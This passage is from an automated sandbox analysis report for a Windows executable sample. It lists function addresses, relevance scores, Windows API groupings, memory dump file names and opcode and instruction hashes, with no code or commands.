                                                          • Opcode Fuzzy Hash: a9867840faaecfdaa354c38ff02ada8b7424d64697801e09ff4ff5a4409c6d4e
                                                          • Instruction Fuzzy Hash: 95418632A1EB4686FF66DB119154379A290EFD2F90F144131EB59C6AD6EF2EDC418B00
                                                          Function 00007FF6A53E8B38 Relevance: 6.1, APIs: 4, Instructions: 96keyboardwindowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: KeyboardState$InputMessagePostSend
                                                          • String ID:
                                                          • API String ID: 432972143-0
                                                          • Opcode ID: 56c9a0b6ee225f986b8f36bfa830b7f851ce703ec5b55e2ab927aaea8bed82d2
                                                          • Instruction ID: 4279504367ea37be96966650b963352b394afeaae77f9727004db7c41ee50d93
                                                          • Opcode Fuzzy Hash: 56c9a0b6ee225f986b8f36bfa830b7f851ce703ec5b55e2ab927aaea8bed82d2
                                                          • Instruction Fuzzy Hash: A5410BA1E2FA9291F730CB2194106B9A6E0EB87F94F541531DE9EA36D5EE7CDC81C700
                                                          Function 00007FF6A541C580 Relevance: 6.1, APIs: 4, Instructions: 95windowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: LongWindow$InvalidateMessageRectSend
                                                          • String ID:
                                                          • API String ID: 3340791633-0
                                                          • Opcode ID: 41522454ef5ffe58f3c47094a62836e99305b084494bc2ef8d406c22aeaeab5d
                                                          • Instruction ID: 2511da686e83abe70cb9211f769fd00b52872352ec575718293ae81d620143ab
                                                          • Opcode Fuzzy Hash: 41522454ef5ffe58f3c47094a62836e99305b084494bc2ef8d406c22aeaeab5d
                                                          • Instruction Fuzzy Hash: 53416A21E1E64686FB64DB25D8413B96760FB86F94F185132DA0E876D2CE6CECE18720
                                                          Function 00007FF6A53E8CAC Relevance: 6.1, APIs: 4, Instructions: 89keyboardwindowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: KeyboardState$InputMessagePostSend
                                                          • String ID:
                                                          • API String ID: 432972143-0
                                                          • Opcode ID: 5e46c45bdab3a47586a9f1d6f3cf12586a4e74534b52d5ecd50e7167bd5190cf
                                                          • Instruction ID: 099f5e889f0f62740efcfca8b79766521cc8f2c1383410c3767556dc2481774f
                                                          • Opcode Fuzzy Hash: 5e46c45bdab3a47586a9f1d6f3cf12586a4e74534b52d5ecd50e7167bd5190cf
                                                          • Instruction Fuzzy Hash: 7D31D221E2AA8596EB30CB25A4006BA6BE0EBA7F50F150131DE9D93795EE7CDD51C700
                                                          Function 00007FF6A53FD7DC Relevance: 6.1, APIs: 4, Instructions: 82networkCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: Internet$CloseConnectHandleOpen
                                                          • String ID:
                                                          • API String ID: 1463438336-0
                                                          • Opcode ID: 9c6a6dce98b363ecdfbcced4837c14e9bd6a16cec9fa7559d6c8d26d8fbc25c1
                                                          • Instruction ID: 75b1d4b11b79097fc6f2a254a518fd15f3005b40947e164364dbbf11426abf74
                                                          • Opcode Fuzzy Hash: 9c6a6dce98b363ecdfbcced4837c14e9bd6a16cec9fa7559d6c8d26d8fbc25c1
                                                          • Instruction Fuzzy Hash: 05319332A2AB4282E755DB16F05477D6350FF8AF94F044535DA4E8BB48EF2CD858CB40
                                                          Function 00007FF6A541F8A8 Relevance: 6.1, APIs: 4, Instructions: 72COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: Window$Long
                                                          • String ID:
                                                          • API String ID: 847901565-0
                                                          • Opcode ID: 17af9f186f091bf577d3b0a8bd6a034cb4dd905415e59c2f23c9277c7aa4b264
                                                          • Instruction ID: c3e63ec7b00726c41d68e68b6c1828edd2ed569c915022e3ca08fb1f8b103f3f
                                                          • Opcode Fuzzy Hash: 17af9f186f091bf577d3b0a8bd6a034cb4dd905415e59c2f23c9277c7aa4b264
                                                          • Instruction Fuzzy Hash: A021D221A1AB4195EA60DB25988433977A0FF86FA4F154331DE6E87BE4DF3CE852C310
                                                          Function 00007FF6A542108C Relevance: 6.1, APIs: 4, Instructions: 71windowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: Cursor$LongMenuPopupProcTrackWindow
                                                          • String ID:
                                                          • API String ID: 2864067406-0
                                                          • Opcode ID: b766ee5e7a6f79c275b6e8452a41ed66ab3f515ad85ef8642b06b7120701f994
                                                          • Instruction ID: 41c47a8030c2d7095871730a500ceb1af4a15b72d1d37e378571ede1c6030b09
                                                          • Opcode Fuzzy Hash: b766ee5e7a6f79c275b6e8452a41ed66ab3f515ad85ef8642b06b7120701f994
                                                          • Instruction Fuzzy Hash: 50319226A09A5585EB10CB16E4553BD7760FB89F94F144271DA4DC7B64CF3CD845C700
                                                          Function 00007FF6A53E50E4 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 69stringCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: lstrcmpilstrcpylstrlen
                                                          • String ID: cdecl
                                                          • API String ID: 4031866154-3896280584
                                                          • Opcode ID: 87949a1e2d96bdde9bfa42e641018d56e78e7e366d09bad1347c3c08da3c3556
                                                          • Instruction ID: 60a1b637d077b3fb38d7286a52ca6fe8edb30e2cffc7cf0d8e4c284562d21843
                                                          • Opcode Fuzzy Hash: 87949a1e2d96bdde9bfa42e641018d56e78e7e366d09bad1347c3c08da3c3556
                                                          • Instruction Fuzzy Hash: F021A22161674185EA14DF12A85427C73E1EF9AFD0B494134EF5D8B390EF3CE8408304
                                                          Function 00007FF6A53DD6A0 Relevance: 6.1, APIs: 4, Instructions: 67memoryCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: Heap$InformationProcessToken$AllocCopyErrorFreeLastLength
                                                          • String ID:
                                                          • API String ID: 837644225-0
                                                          • Opcode ID: 9a34ca7cdec84128c61d79319dba9bc3ccc379250e2fae1bd0d7ccebff0f194a
                                                          • Instruction ID: 97a947f932533569298889318df75b9df06aec950bd37aa702dbaca26f4df6af
                                                          • Opcode Fuzzy Hash: 9a34ca7cdec84128c61d79319dba9bc3ccc379250e2fae1bd0d7ccebff0f194a
                                                          • Instruction Fuzzy Hash: 7C21A933A2AA5186EB44CF21E8047A8B3E5FB85F91F454939CA4D87784EF3DE945C740
                                                          Function 00007FF6A5422264 Relevance: 6.1, APIs: 4, Instructions: 56COMMON
                                                          Download Yara Rule
                                                          APIs
                                                            • Part of subcall function 00007FF6A5372A54: GetWindowLongPtrW.USER32 ref: 00007FF6A5372A71
                                                          • GetClientRect.USER32(?,?,?,?,?,00007FF6A53BAA36,?,?,?,?,?,?,?,?,?,00007FF6A53727AF), ref: 00007FF6A54222C4
                                                          • GetCursorPos.USER32(?,?,?,?,?,00007FF6A53BAA36,?,?,?,?,?,?,?,?,?,00007FF6A53727AF), ref: 00007FF6A54222CF
                                                          • ScreenToClient.USER32 ref: 00007FF6A54222DD
                                                          • DefDlgProcW.USER32(?,?,?,?,?,00007FF6A53BAA36,?,?,?,?,?,?,?,?,?,00007FF6A53727AF), ref: 00007FF6A542231F
                                                            • Part of subcall function 00007FF6A541E894: LoadCursorW.USER32 ref: 00007FF6A541E945
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: ClientCursor$LoadLongProcRectScreenWindow
                                                          • String ID:
                                                          • API String ID: 1626762757-0
                                                          • Opcode ID: c10d22a9dfdb007e9cd3e446db2f26fc59a904d9b079c484f8598dfd72a81c9f
                                                          • Instruction ID: c286baa5e7bbdfdeb89c193d7c7ee1310da5f9a1fdf62fd1b11495f1977f25f2
                                                          • Opcode Fuzzy Hash: c10d22a9dfdb007e9cd3e446db2f26fc59a904d9b079c484f8598dfd72a81c9f
                                                          • Instruction Fuzzy Hash: 04213D36A09A5286EA24DB15E49016D77B0FB8AF80F544171EB4DC7B59DF3CED41CB00
                                                          Function 00007FF6A537932C Relevance: 6.1, APIs: 4, Instructions: 56windowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: CreateMessageObjectSendStockWindow
                                                          • String ID:
                                                          • API String ID: 3970641297-0
                                                          • Opcode ID: dfdf152a6b4170b9c012631cbf21b5eef6d1f67974f7a0a9349fa7dc94decf0b
                                                          • Instruction ID: db09f48b47956a5d83fa5b0797132a281a7f574d9ed586b934a2ac8354d0cf6f
                                                          • Opcode Fuzzy Hash: dfdf152a6b4170b9c012631cbf21b5eef6d1f67974f7a0a9349fa7dc94decf0b
                                                          • Instruction Fuzzy Hash: 1E216D72A19BC5CAE7A4CB15E4447AAB7A1FB89B80F440135DA8D87B54DF7CD884CB00
                                                          Function 00007FF6A53ECF68 Relevance: 6.1, APIs: 4, Instructions: 55synchronizationthreadwindowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: CloseCurrentHandleMessageObjectSingleThreadWait_invalid_parameter_noinfo
                                                          • String ID:
                                                          • API String ID: 2979156933-0
                                                          • Opcode ID: 2a49c66315dd4afd268b707153c3627d2a79b8a5ce35e179a418e828e304454b
                                                          • Instruction ID: 420aef668c32b62a0b5e308a6a675d432ab09ab8ed6825a89be01c2c4e71cb9b
                                                          • Opcode Fuzzy Hash: 2a49c66315dd4afd268b707153c3627d2a79b8a5ce35e179a418e828e304454b
                                                          • Instruction Fuzzy Hash: FC21F632A09B8186E710CF16B84026A7AD1FB96FD4F444135EE9DC7B55DF3CD8058B40
                                                          Function 00007FF6A53A2FB8 Relevance: 6.1, APIs: 4, Instructions: 55COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: _ctrlfp
                                                          • String ID:
                                                          • API String ID: 697997973-0
                                                          • Opcode ID: 696024c0d85e9950b44dad3db47e8c6049c7f355de1dae667ed974782f5b2eb5
                                                          • Instruction ID: 53dd132d4a6bbb30b683361e55b8ffce66ca6a58936d6191a525b49964cec3ed
                                                          • Opcode Fuzzy Hash: 696024c0d85e9950b44dad3db47e8c6049c7f355de1dae667ed974782f5b2eb5
                                                          • Instruction Fuzzy Hash: BA11C925D2DD4582EE51DA39A04117F9371EFDBF80F645231FB8A86699EF2FD9408B00
                                                          Function 00007FF6A53E4B28 Relevance: 6.0, APIs: 4, Instructions: 44registryCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: Type$Register$FileLoadModuleNameUser
                                                          • String ID:
                                                          • API String ID: 1352324309-0
                                                          • Opcode ID: 26dceef0b12b748e4890be4283cc75c768f711def0b64c07a5df3002dea28784
                                                          • Instruction ID: 6e14f518ef786d3f57afc91cc418ea7acad697d8db5d090618cc1c1d80c156a3
                                                          • Opcode Fuzzy Hash: 26dceef0b12b748e4890be4283cc75c768f711def0b64c07a5df3002dea28784
                                                          • Instruction Fuzzy Hash: 87116D62B2995396E720CF25E0843A937E0FB8AF88F548135CA8DCAA44DF7DDD54DB00
                                                          Function 00007FF6A53AB778 Relevance: 6.0, APIs: 4, Instructions: 43COMMONLIBRARYCODE
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: ErrorLast$abort
                                                          • String ID:
                                                          • API String ID: 1447195878-0
                                                          • Opcode ID: 93a8c6ec86c577cad6803fb95bafd4c8778ff4d5622681f9be56b0e8e8078c7b
                                                          • Instruction ID: 561d5640551fe309ebc41c0bd9b3599f8e7442651aed9173f09391bed6abe6d1
                                                          • Opcode Fuzzy Hash: 93a8c6ec86c577cad6803fb95bafd4c8778ff4d5622681f9be56b0e8e8078c7b
                                                          • Instruction Fuzzy Hash: 4A016520B2BB8242EE5AEB75952957C2151AF86F90FD40538DA1EC6BD6FD2EAC008300
                                                          Function 00007FF6A53E9260 Relevance: 6.0, APIs: 4, Instructions: 37sleepCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: CounterPerformanceQuerySleep
                                                          • String ID:
                                                          • API String ID: 2875609808-0
                                                          • Opcode ID: c6a5989f9dc195674d757a8e27f3c1042de8158b51fda3090b6682196588991b
                                                          • Instruction ID: 5a502cecdef4a41dbc58d80031a43b8ba768767380f903c78c20577abfd5bd25
                                                          • Opcode Fuzzy Hash: c6a5989f9dc195674d757a8e27f3c1042de8158b51fda3090b6682196588991b
                                                          • Instruction Fuzzy Hash: 8201C451A1AF8A82EA16972590401BEB3A0AFEBB51F044335ED4BA5560DF29EC858B00
                                                          Function 00007FF6A542072C Relevance: 6.0, APIs: 4, Instructions: 36COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: Path$ObjectSelect$BeginCreateLineMoveStroke
                                                          • String ID:
                                                          • API String ID: 1539411459-0
                                                          • Opcode ID: 058f7c961f19f1df1cfb2125e1cbf4c754dffe1c4cdb6de871a3d3459fa768a6
                                                          • Instruction ID: bc83d8c51528c18b07eb0a7b537a2011c99330af651cb2c7158a10178f4eeefd
                                                          • Opcode Fuzzy Hash: 058f7c961f19f1df1cfb2125e1cbf4c754dffe1c4cdb6de871a3d3459fa768a6
                                                          • Instruction Fuzzy Hash: D6018C35A297A182E700CB16A80977D6EA0EB92F94F184174DE5987BA1DF7DE8418B40
                                                          Function 00007FF6A53DD4EC Relevance: 6.0, APIs: 4, Instructions: 24threadCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: CurrentOpenProcessThreadToken
                                                          • String ID:
                                                          • API String ID: 3974789173-0
                                                          • Opcode ID: 5cd93aab99a75fcfcb42631ab9fe43dfed1bd9e6d723e162398547d1910a1280
                                                          • Instruction ID: 2cd7ea237a7aa2b153114429659394afa66623ef7e9da40d3c0c413ccd6e4278
                                                          • Opcode Fuzzy Hash: 5cd93aab99a75fcfcb42631ab9fe43dfed1bd9e6d723e162398547d1910a1280
                                                          • Instruction Fuzzy Hash: 24F06562A1A91282FB508F61EC047BC23E0FF6AF95F884434C90ED6650EF3C9D898701
                                                          Function 00007FF6A53D326E Relevance: 6.0, APIs: 4, Instructions: 19COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
